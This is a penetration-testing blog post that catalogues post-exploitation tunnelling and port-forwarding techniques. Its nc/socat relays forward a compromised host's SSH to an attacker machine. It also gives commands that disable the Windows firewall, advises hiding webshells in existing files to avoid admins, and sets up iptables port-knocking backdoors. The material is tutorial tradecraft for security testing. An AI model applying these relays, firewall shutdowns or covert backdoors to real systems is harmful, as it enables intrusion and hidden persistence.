Data Forwarding Techniques in Penetration Testing

Wednesday, April 4, 2018 🌐中文

Approach

In penetration testing, you almost always need a proxy server, so let’s start by assuming we have a server with a public IP as the attacker machine.

“Internal network” is relative. Sometimes you get into a DMZ and then find you need to use a VPN to reach the target subnet. Here we only discuss an attack path with a single compromised host, treating it as the minimal unit. The goal is to derive a methodology that can be applied to environments with multiple pivot hosts.

If the compromised host exposes ports to the public internet and has no firewall so you can freely access its ports, then you can abstract it directly as the attacker machine.

However, if the compromised host is not directly exposed to the public internet, or there is an upstream device functioning as a firewall, then proceed with the steps below.

In most cases, you access services over TCP.

  • Port mapping: map the target port to an unused port to pivot into the internal network; you can also use port multiplexing (e.g., iptables).
  • Forward proxy: directly use the port as a tunnel to pivot into the internal network.
  • Reverse proxy: if inbound connections from outside are not possible, have the compromised host initiate a reverse connection back to the attacker server.

If the target server cannot make outbound TCP connections, you can use a UDP tunnel. In that case, there isn’t really a “forward vs reverse” concept; it’s more about client vs server. Sometimes you’ll run into hosts with firewalls. If it’s a blacklist policy it’s relatively easier. If it’s a whitelist policy, UDP is usually not blocked; outbound port 53 might be allowed. If even outbound UDP is blocked, you can try an ICMP tunnel—but in such scenarios ICMP packets are very likely to be filtered.

Most of the time tunnels are not very stable. A common approach is: after establishing a tunnel, leverage the victim’s SSH service to enable a SOCKS5 proxy into the internal network (with a SOCKS client such as proxychains‑NG or Proxifier).

Define A as the attacker, B as the compromised pivot host, and C as other hosts (which could also be B itself). We’ll use these symbols in the rest of the post. Next, clarify a few concepts. As long as you can distinguish mapping vs tunneling, that’s enough. The Chinese wording can be a bit subtle: both mapping and tunneling are forwarding. Mapping can be seen as “forward” forwarding; a callback can be seen as “reverse” forwarding.

  • Mapping: B listens on a port, C listens on a port; B forwards requests from A to C—i.e., C is mapped onto B.
  • Tunnel: A listens on a port, C listens on a port; B actively forwards C’s listening port to A, so A↔C is effectively a tunnel.
  • Callback: A listens on a port, B listens on a port; some condition triggers B to actively connect back to A.

Direct Forwarding

This section refers to forwarding at the network and transport layers.

SSH

This section is only for SSH1. First, a few useful options:

-C enable compression; useful on poor networks, also handy for moving data
-N do not execute any command; only do port forwarding
-g allow remote hosts to connect to local forwarded ports; required if you want to access a local port on the victim
-q quiet mode
-T disable pseudo-tty; `who` won’t show pseudo-tty users (but it seems unnecessary here)

Forward a remote port to a local port

ssh -Ng -L local:13389:target_C:3389 root@victim_B

Forward a local port to a remote port

You may need to configure /etc/ssh/sshd_config: AllowAgentForwarding yes AllowTcpForwarding yes GatewayPorts yes

ssh -N -R remote:3000:local:80 root@victim_B

Use a SOCKS5 proxy

ssh -N -D 127.0.0.1:1080 root@victim_B

iptables Port Mapping

First, enable IPv4 forwarding in the kernel:

echo 1 > /proc/sys/net/ipv4/ip_forward

Use NAT to forward ports:

iptables -t nat -A PREROUTING -d victim_B -p tcp --dport listen_port -j DNAT --to-destination target_C:target_port
iptables -t nat -A POSTROUTING -d target_C -p tcp --dport target_port -j SNAT --to victim_B

netsh Port Mapping

Use the built-in port mapping feature:

netsh interface portproxy add v4tov4 listenaddress=victim_B listenport=3388 connectaddress=target_C connectport=3389

Delete forwarding rules:

netsh interface portproxy delete v4tov4 listenaddress=victim_B  listenport=3388

Allow the corresponding inbound firewall rule:

netsh advfirewall firewall add rule name="forwarded_RDP_3388" protocol=TCP dir=in localip=victim_B localport=3388 action=allow

You can also disable the firewall:

# newer versions
netsh advfirewall set allprofiles state off
# older versions
netsh firewall set opmode disable
# or
net stop mpssvc

Show all proxies:

netsh interface portproxy show all

netcat

In mainstream distributions, most Netcat variants don’t support listening ports and program redirection. Netcat is a powerful networking tool (scanning, various data transfers, etc.). Ncat is an improved version. Here we only cover network-layer forwarding and mapping. SoCat is even more powerful: it supports more I/O types and connection multiplexing.

Port mapping

First, create a FIFO on host B, then map host C’s SSH port to port 9000 on host B:

mkfifo /tmp/fifo
cat /tmp/fifo | nc target_C 22 | nc -vlp 9000 > /tmp/fifo
# or
cat /tmp/fifo | nc -vlp 9000 | nc target_C 22 > /tmp/fifo

Or use socat (single connection only):

socat tcp-connect:target_C:22 tcp-listen:9000

Use reuseaddr, reuseport, fork to allow multiple connections:

socat tcp-listen:9000,reuseaddr,reuseport,fork tcp-connect:target_C:22

On host A, SSH to port 9000 on host B and you’ll be using host C’s SSH service:

ssh root@victim_B -p 9000

Port forwarding

First, create a FIFO on host A, then listen on port 8888 to receive forwarded data from host B, and listen on port 9000 as the forwarding service port.

mkfifo /tmp/fifo
cat /tmp/fifo | nc -vlp 8888 | nc -vlp 9000 > /tmp/fifo
# or
cat /tmp/fifo | nc -vlp 9000 | nc -vlp 8888 > /tmp/fifo

Or use socat:

socat tcp-listen:8888,reuseaddr,reuseport,fork tcp-listen:9000,reuseaddr,reuseport,fork

Next, create a FIFO on host B, then forward host C’s SSH service to port 8888 that the attacker listens on.

mkfifo /tmp/fifo
cat /tmp/fifo | nc target_C 22 | nc attacker_A 8888 > /tmp/fifo
# or
cat /tmp/fifo | nc attacker_A 8888 | nc target_C 22 > /tmp/fifo

Or use socat:

socat tcp-connect:target_C:22 tcp-connect:attacker_A:8888

Finally, SSH to port 9000 on host A; that effectively connects to port 22 on host C:

ssh root@attacker_A -p 9000

socat

SoCat is similar to Netcat in usage but much more powerful. It supports multiple protocols at different layers.

TCP4    TCP IPv4
TCP6    TCP IPv6
UDP     UDP protocol
UNIX    UNIX local socket
SCTP4   SCTP IPv4
SCTP6   SCTP IPv6
OPENSSL Secure Sockets Layer
SOCKET  socket

Mapping

socat tcp-connect:target_C:22 tcp-listen:9000

Use reuseaddr, reuseport, fork to allow multiple connections:

socat tcp-listen:9000,reuseaddr,reuseport,fork tcp-connect:target_C:22

Forwarding

# victim_B
socat tcp-listen:8888,reuseaddr,reuseport,fork tcp-listen:9000,reuseaddr,reuseport,fork
# attacker_A
socat tcp-connect:target_C:22 tcp-connect:attacker_A:8888

UDP Tunnel

On Linux you can use SoCat, but on Windows you can’t (at least not the same way).

socat UDP-LISTEN:8888 tcp-connect:target_C:22

With Netcat, just add -u:

cat /tmp/fifo | nc -vulp 9000 | nc 192.168.1.127 22 > /tmp/fifo

rtcp2udp

https://github.com/ring04h/rtcp2udp

udptunnel

https://code.google.com/p/udptunnel/

ICMP Tunnel

First, make sure this is 0:

/proc/sys/net/ipv4/icmp_echo_ignore_all

icmptunnel

https://github.com/jamesbarlow/icmptunnel.git

ptunnel

Linux:

https://pkgs.org/download/ptunnel

Windows:

https://github.com/ptunnel-win

SCTP Tunnel

SCTP is a transport-layer protocol and is usually outside typical firewall TCP/UDP policies. Ncat supports it. Here we use SoCat; similar to port mapping, it listens on SCTP port 8888.

socat SCTP-LISTEN:8888 tcp-connect:target_C:22

DCCP Tunnel

Most Linux distributions don’t support it.

socat TCP4-LISTEN:8886,reuseaddr,type=6,prototype=33 TCP-CONNECT:target_C:22
socat TCP4-CONNECT:8886,reuseaddr,type=6,prototype=33 TCP-LISTEN:9000

Nginx Forwarding

First, make sure your Nginx is built with the stream module:

# output includes --with-stream
nginx -V | grep stream

Add the following to nginx.conf:

stream {
    server {
    listen 88;
    proxy_connect_timeout 3s;
    proxy_timeout 10s;
    proxy_pass 127.0.0.1:22;
    }
}

Reload the Nginx configuration:

nginx -s reload

Other Tools

dog-tunnel - a proxy tool mainly for hole punching; recommended by a coworker EarthWorm - “wormhole”, cross-platform, commonly praised; but it disconnects a lot for me and feels unstable Termite - next-gen “ant colony” of EarthWorm, cross-platform; great idea but crashes frequently in my experience JSPspy, ASPXspy, PHPspy - no download links; these webshells include tunnel and port mapping features fpipe - archaeology-grade; McAfee port mapping tool (Windows) passport - archaeology-grade; port forwarding tool on XP, supports UDP HTran - archaeology-grade; also known as lcx; average speed but stable

Application-Layer Tunnels

Socks

If conditions allow, you can run a SOCKS service on a server and use it with a client. Because it’s simple and there are plenty of tools (and many other tools bundle it), this section focuses on SOCKS5 (RFC1928) and just lists a few implementations.

Go Socks5 C# Socks5 C++ Socks5 py Socks4/5 PS Socks4/5 - supports port mapping

APT

In Metasploit (MSF), you can use port forwarding and proxy features:

portfwd add -l 2222 -r target -p 3389

Set routes:

route add 192.168.0.0 255.255.0.0 1

Enable a SOCKS4a proxy:

use auxiliary/server/socks4a
set SRVPORT 2080
exploit -y

Cobalt Strike can start a SOCKS4A proxy on the target, forward it to the Teamserver, and then the Teamserver listens on a port waiting for the attacker to connect.

DNS tunnel

iodine - a very useful DNS tunnel Dns2tcp - a DNS tunnel preinstalled on Kali dnscat2 - a Ruby-based DNS tunnel; haven’t used it yet

WebShell tunnel

reGeorg - a modified reGeorg; supports custom headers, reduces connection count, faster and more stable Tunna - another forward proxy; adds custom cookies and basic auth; average stability ABPTTS - said to combine the strengths of reGeorg and Tunna; more stable and more compatible, but doesn’t support custom HTTP headers; I’ll add it someday reDuh - archaeology; predecessor of reGeorg

RMI Deserialized tunnel

TODO. I got the idea after hearing N1nty share “JSPspy on RMI” last time. I’ll fill this in when I have time.

Multiplexing Tricks

Sometimes resources are limited and you cannot add new ones, so you need to reuse what’s already there.

Webshell

Since webshell tunnels are mentioned above, a quick note. Sometimes dropping a new webshell file directly under a directory will be noticed by admins, which is awkward. You can instead insert a backdoor into an existing file—e.g., a webshell with a “static resource” file extension. Or modify config so the server parses those resource types as scripts. You can also load it into memory, but it becomes ineffective after a service restart.

With Nginx, for HTTP services, you can reuse the port via routing rules and parse resource-file webshells.

TODO: can Nginx stream and HTTP services share the same port? It might require Lua.

iptables Rules

This borrows from N1nty’s write-up. The author explains a technique where receiving packets with a specific signature triggers corresponding rules. First you create forwarding rules, then create the trigger mechanism. This post was also published on other security media; someone in the comments smugly mentioned IP-based forwarding—which just shows they didn’t read carefully.

Split traffic by source port

Redirect traffic destined to local port 80 with source port 8989 to local port 22:

/sbin/iptables -t nat -A PREROUTING -p tcp --sport 8989 --dport 80 -j REDIRECT --to-port 22

Listen on local port 9000, and access the victim’s port 80 using source port 8989:

socat tcp-listen:9000,fork,reuseaddr tcp:victim_B:80,sourceport=8989,reuseaddr &
ssh [email protected] -p 9000

Split traffic by ICMP length

Use ICMP as a remote on/off switch. The downside is: if the target is inside an internal network, you can’t ping it directly.

# create a port-multiplexing chain
iptables -t nat -N LETMEIN
# create port-multiplexing rule, forward traffic to port 22
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22


# enable switch: if an ICMP packet of length 1139 is received, add the source IP to the letmein list
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
# disable switch: if an ICMP packet of length 1140 is received, remove the source IP from the letmein list
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT

# let's do it: if a SYN packet’s source IP is in the letmein list, jump to LETMEIN chain; effective for 3600 seconds
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

The IP header is 20 bytes and the ICMP header is 8 bytes, so the iptables packet length is: ICMP payload length + 28 bytes.

## enable LETMEIN
ping -c 1 -s 1111 victim_B
## disable LETMEIN
ping -c 1 -s 1112 victim_B

Split traffic by TCP keyword

Use a keyword in TCP packets as a remote on/off switch; works even if the target is in an internal network.

# port-multiplexing chain
iptables -t nat -N LETMEIN
# port-multiplexing rule
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22

# enable switch
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# disable switch
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT

# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

One drawback is that the IP list added to letmein is the upstream proxy’s IP. So enabling this rule will affect normal users.

But even so, this is already quite well done. Since IP changes across hops, there aren’t spare header fields you can use as markers. At the TCP layer, aside from the Urgent Pointer field, everything else is meaningful, so you can only identify via payload content. But then iptables becomes less useful and it deviates from the original intent. Even in extremely constrained environments, I’d rather reuse an application-layer service than mess with this.

## enable LETMEIN
echo threathuntercoming | socat - tcp:victim_B:80
## disable LETMEIN
echo threathunterleaving | socat - tcp:victim_B:80

Using IPv6

If the device supports IPv6, maybe the ports are not restricted; you can try it.

On Linux, when using an IPv6 link-local address, add % to specify the interface name:

ssh root@fe80::2e0:4cff:fe68:eae%eth0
ping6 fe80::aefa:5908:5d93:44ba%eth0

On Windows, use it directly:

ping -6 fe80::aefa:5908:5d93:44ba

Summary

This is just one small piece of penetration testing. In real engagements you also need to deal with intrusion detection systems, which is still a blind spot for me.

Reference

Remotely controlling iptables to multiplex ports

iptables - Linux man page

Cybersecurityforwardingtunnelport mappingpost-exploitationforward proxyreverse proxy

Remove Banciyuan Image Watermark and Download Limit

Linux Post-Exploitation Notes: PAM Backdoor